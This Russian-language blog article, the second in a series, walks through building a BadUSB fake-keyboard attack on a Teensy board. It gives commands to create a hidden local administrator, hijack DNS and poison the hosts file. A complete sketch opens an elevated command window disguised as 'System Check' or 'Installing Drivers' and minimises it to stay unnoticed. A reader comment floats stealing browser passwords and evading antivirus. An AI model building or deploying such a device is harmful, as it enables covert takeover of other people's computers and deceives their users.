В этой статье мы продолжим тему HID USB устройств. В первой статье мы выбрали макетную плату и подготовили средства разработки. И теперь можем смело начинать разработку наших прошивок, которые в Arduino-подобных средах называются скетчами.

Никаких мышей

Давайте для начала представим общий алгоритм действий для нашей поддельной клавиатуры. Вспомните, когда последний раз вам приходилось работать с Windows без мыши? Как можно с помощью к примеру, горячих клавиш свернуть все окна? Так вот, нашему устройству как раз потребуется выполнять необходимые действия только с помощью тех клавиш, которые можно нажать на клавиатуре.

Итак, если мы хотим запустить какое-либо приложение, какие основные действия нам необходимо выполнить:

1. Запустить cmd.exe в окне минимального размера (мы же хотим, чтобы наши действия были как можно менее заметными). Будем считать, что на момент подключения нашего устройства Рабочий стол разблокирован и на нем запущено какое-либо приложение. Сделать это можно с помощью нажатия клавиши WIN и последующего набора cmd.exe.

2. Далее алгоритм наших действий зависит от той задачи, которую мы собираемся решить с помощью нашего устройства. Приведу несколько примеров.

Если нам необходимо на атакуемой машине создать нового пользователя (допустим текущая пользовательская сессия работает под локальным админом), добавить этого пользователя в группу локальных администраторов и разрешить подключение к этому компьютеру по RDP, то нам необходимо выполнить в консоли следующие команды:

net user tester p@ssw0rd /add

net localgroup Administrators tester /add

Другой пример. Нам необходимо подменить DNS сервер на клиенте и немного подправить файл hosts. Для этого нужны следующие команды:

netsh interface ip set dns \"Local Area Connection\" static 8.8.8.8

echo 1.1.1.1 goodsite.ru >> %systemroot%\\system32\\drivers\\etc\\hosts

Теперь посмотрим, как на практике реализовать приведенные выше действия. В первой статье приводился простой пример кода для Teensy, выводящий в цикле текстовую строку. В простейшем случае, код “печатающий” текст будет иметь следующий вид:

void setup() { 

}

void loop() {

Keyboard.print("Print text");

delay(1000);

}

Данного примера вполне достаточно, для демонстрации работы макетной платы, а вот для практической реализации атак этого явно недостаточно. Главной проблемой для нас при использовании Teensy является отсутствие обратной связи. То есть, мы не можем никак узнать о последствиях «нажатия» клавиш. Таким образом, нам необходимо заранее отработать все возможные варианты развития событий, для того чтобы минимизировать вероятность некорректной работы платы и как следствие срыва атаки.

Основной проблемой, с которой мы рискуем столкнуться является потеря “фокуса” приложением, когда оно перестает быть активным и следовательно плата продолжает печатать команды уже не в окне командной строки, а к примеру, в Word, который в данный момент открыл пользователь. Попытаться частично избежать этих проблем можно с помощью установки пауз после выполнения каждой из команд. Если пытаться вводить все команды без пауз, то скорее всего вы потеряете фокус, так как операционная система на атакуемой машине не будет успевать за вашим вводом.

Теперь опишем последовательность выполняемых действий на языке нажатия клавиш.

Во-первых, нажимаем клавишу WIN. В командах Tennsy это будет иметь следующий вид:

Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);

Keyboard.send_now();

Keyboard.set_modifier(0);

Keyboard.send_now();

Первые две команды определяют нажатие клавиши, вторые две ее отпускание.

Далее, мы пытаемся обмануть пользователя при запуске окна командной строки. Для этого, мы разворачиваем ее в минимальном размере и с каким-нибудь сильно техническим названием, например, System Check.

Сама строка запуска cmd.exe будет иметь следующий вид:

cmd /T:01 /K ‘@echo off && mode con:COLS=15 LINES=1 && title System Check’

А строка в скрипте будет выглядеть так:

Keyboard.print("cmd /T:01 /K ‘@echo off && mode con:COLS=15 LINES=1 && title System Check’");

Как видите, пока мы не нажимаем никаких служебных клавиш, например Enter. Все потому, что мы хотим нажать сразу три клавиши CTRL, SHIFT, Enter. В результате наше cmd.exe должен запуститься с правами локального администратора.

Keyboard.set_modifier(MODIFIERKEY_CTRL);

Keyboard.send_now();

Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);

Keyboard.send_now();

Keyboard.set_key1(KEY_ENTER);

Keyboard.send_now();

Конечно, в дело может вмешаться UAC и отсутствие прав у пользователя, но для борьбы с UAC можно прибегнуть к методам социальной инженерии, а на случай отсутствия прав предусмотреть обходные варианты.

Серьезной проблемой при использовании нашего устройства является отсутствие обратной связи, то есть мы не можем получить код ошибки в случае неудачного выполнения той или иной команды. Но у нас есть возможность считывать состояние светодиодов на клавиатуре. Именно этим мы и воспользуемся: нажав перед началом выполнения действий по открытию командной строки, клавишу CAPS_LOCK с помощью следующего кода:    

Keyboard.set_key1(KEY_CAPS_LOCK);

Keyboard.send_now();

delay(200);

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

И опросив состояние светодиодов:

int ledkeys(void) {return int(keyboard_leds);} 

После выполнения всех команд мы снова проверим состояние светодиода, чтобы убедиться, что все команды успешно выполнились.

bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}

Программная реализация нашей процедуры открытия окна командной строки с правами локального администратора будет иметь следующий вид:

bool cmd_admin(int reps, int millisecs) // окно командной строки от имени администратора

{

make_sure_capslock_is_off();//вызов процедуры проверки состояния CAPS_LOCK

delay(700);

Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);

Keyboard.send_now();

Keyboard.set_modifier(0);

Keyboard.send_now();

delay(3000);

Keyboard.print("cmd /T:01 /K ‘@echo off && mode con:COLS=15 LINES=1 && title System Check’");

delay(2000);

Keyboard.set_modifier(MODIFIERKEY_CTRL);

Keyboard.send_now();

Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);

Keyboard.send_now();

Keyboard.set_key1(KEY_ENTER);

Keyboard.send_now();

delay(200);

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

delay(500);

delay(7000);

send_left_enter();

delay(4000);

create_click_capslock_win();

check_for_capslock_success_teensy(reps,millisecs); //проверяем, что CAPS LOCK нажат, значит все 

// действия выполнены успешно

}

Далее неплохо было бы свернуть наше созданное окно для того, чтобы быть еще менее заметными. С этой целью мы создадим minimize_windows, следующего содержания:

void minimize_windows(void) //процедура минимизации окна

{

Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);

Keyboard.set_key1(KEY_M);

Keyboard.send_now();

delay(300);

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

delay(500);

delay(300);

}

Теперь можно собственно перейти к выполнению полезной нагрузки. В простейшем случае, мы можем построчно вводить команды с помощью следующей конструкции:

# define PAYLOAD_WHAT_TO_DO "calc.exe"

…

Keyboard.println(PAYLOAD_WHAT_TO_DO);

Но лучше использовать процедуры, в которых по аналогии с запуском cmd.exe используется индикатор клавиши CAPS LOCK для проверки корректности выполнения.

Вот пример процедуры cmd, которая получает на вход выполняемую команду и затем выполняет ее, проверяя состояние CAPS LOCK.

bool cmd(int reps, int millisecs, char *SomeCommand) //процедура выполнения команд

{

make_sure_capslock_is_off();

delay(700);

Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);

Keyboard.set_key1(KEY_R);

Keyboard.send_now();

 

delay(500);

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

 

Keyboard.print(SomeCommand);

Keyboard.set_key1(KEY_ENTER);

Keyboard.send_now();

 

Keyboard.set_key1(0);

Keyboard.send_now();

 

delay(3000);

create_click_capslock_win();

check_for_capslock_success_teensy(reps,millisecs); //проверяем, что CAPS LOCK нажат, значит все действия //выполнены успешно

 

}

Вот, собственно, и вся логика нашего скетча. По завершении работы скрипта необходимо набрать exit, для того, чтобы закрыть окно командной строки.

Также хочу обратить внимание на использование команд delay в процессе выполнения скетча. Если не использовать команды задержки, то ваш скетч конечно будет выполняться быстрее, но скорее всего часть нажатых клавиш будет потеряна, так как все будет “набираться” слишком быстро. Поэтому паузы хотя бы в полсекунды нужны после выполнения каждой команды.

Ниже представлен пример полного кода для скетча Teensy:

#include<usb_private.h> // объявляем необходимую библиотеку

# define PAYLOAD_WHAT_TO_DO "calc.exe" //определяем первую команду, которую хотим выполнить

… // аналогичным способом определяем остальные выполняемые команды

void setup() { // обязательная процедура setup

delay(3000); //задержка 3 секунды

minimise_windows(); //очищаем рабочий стол и переходим в меню Пуск

delay(500); //ждем полсекунды

while(!cmd_admin(3,500)) // пытаемся создать окно cmd в минимальном разрешении

{

reset_windows_desktop(2000);

}

Keyboard.println(PAYLOAD_WHAT_TO_DO); //выполняем первую команду

delay(2000);

… // выполняем последующие команды

delay(1000);

Keyboard.println("exit"); //закрываем окно cmd

}

 

void loop(){

} // цикл пуст, так как мы не собираемся производить повторяющихся действий

 

 

 

void wait_for_drivers(int sleep) // в данной процедуре мы проверяем корректность установки драйверов

{

bool CapsLockTrap = is_caps_on();

while(CapsLockTrap == is_caps_on())

{

Keyboard.set_key1(KEY_CAPS_LOCK);

Keyboard.send_now();

delay(200);

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

delay(500);

delay(sleep);

}

Keyboard.set_key1(KEY_CAPS_LOCK);

Keyboard.send_now();

delay(200);

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

delay(500);

delay(sleep);

}

 

int ledkeys(void) {return int(keyboard_leds);} // опрашиваем состояния светодиодов клавиатуры

 

bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;} //горит ли светодиод CAPS LOCK

 

bool cmd_admin(int reps, int millisecs) // окно командной строки от имени администратора

{

make_sure_capslock_is_off();//вызов процедуры проверки состояния CAPS_LOCK

delay(700);

Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);

Keyboard.send_now();

Keyboard.set_modifier(0);

Keyboard.send_now();

delay(3000);

Keyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\"");

//окно командной строки будет называться Installing Drivers. Пытаемся ввести пользователя в //заблуждение

delay(2000);

Keyboard.set_modifier(MODIFIERKEY_CTRL);

Keyboard.send_now();

Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);

Keyboard.send_now();

Keyboard.set_key1(KEY_ENTER);

Keyboard.send_now();

delay(200);

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

delay(500);

delay(7000);

send_left_enter();

delay(4000);

create_click_capslock_win();

check_for_capslock_success_teensy(reps,millisecs); //проверяем, что CAPS LOCK нажат, значит все действия //выполнены успешно

}

 

bool cmd(int reps, int millisecs, char *SomeCommand) //процедура выполнения команд

{

make_sure_capslock_is_off();

delay(700);

Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);

Keyboard.set_key1(KEY_R);

Keyboard.send_now();

 

delay(500);

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

 

Keyboard.print(SomeCommand);

Keyboard.set_key1(KEY_ENTER);

Keyboard.send_now();

 

Keyboard.set_key1(0);

Keyboard.send_now();

 

delay(3000);

create_click_capslock_win();

check_for_capslock_success_teensy(reps,millisecs); //проверяем, что CAPS LOCK нажат, значит все действия //выполнены успешно

 

}

 

void make_sure_capslock_is_off(void)//эта процедура проверяет, что CAPS LOCK не нажат, Если нажат, то //жмем еще раз

{

if (is_caps_on())

{

delay(500);

Keyboard.set_key1(KEY_CAPS_LOCK);

Keyboard.send_now();

delay(200);

delay(700);

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

delay(500);

delay(700);

}

}

 

void minimise_windows(void) //процедура минимизации окна

{

Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);

Keyboard.set_key1(KEY_M);

Keyboard.send_now();

delay(300);

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

delay(500);

delay(300);

}

 

void reset_windows_desktop(int sleep)

{

delay(1000);

minimise_windows();

delay(sleep);

minimise_windows();

delay(sleep);

minimise_windows();

delay(200);

}

 

void send_left_enter(){

  delay(1000);

  Keyboard.set_key1(KEY_LEFT);

  Keyboard.send_now();

  delay(100);

  Keyboard.set_key1(0);

  Keyboard.send_now();

 

  Keyboard.set_key1(KEY_ENTER);

  Keyboard.send_now();

  delay(100);

  Keyboard.set_key1(0);

  Keyboard.send_now();

  } 

Заключение

В этой статье мы подробно рассмотрели процесс создания скетча для Teensy, выполняющего команды в окне cmd.exe. Конечно, это не единственный вариант использования нашего устройства и в следующей статье мы поговорим об использовании HID USB в Линукс и рассмотрим средства защиты от атак данного вида.

О других инструментах для обеспечения безопасности можно узнать у экспертов в области ИБ, например на онлайн-курсах. Перед стартом обучения проходят открытые уроки от преподавателей курсов, на которых можно узнать об актуальных технологиях и задать интересующие вопросы экспертам. Ближайшие уроки:

Комментарии (1)


  1. AVX
    30.08.2023 15:51

    Направление интересное! Сразу вопросы возникают: если даже на комп админа кто-то воткнëт, но он работает под ограниченной учëткой, и только при входе на сервера вводит пароли - что можно сделать? На ум только приходит каким-то способом хотя бы стащить пароли из браузера, например отправить запросом POST на свой веб-сайт.

    Второй большой вопрос - как обойти зашиту того же Касперского, который умеет защищать от badusb?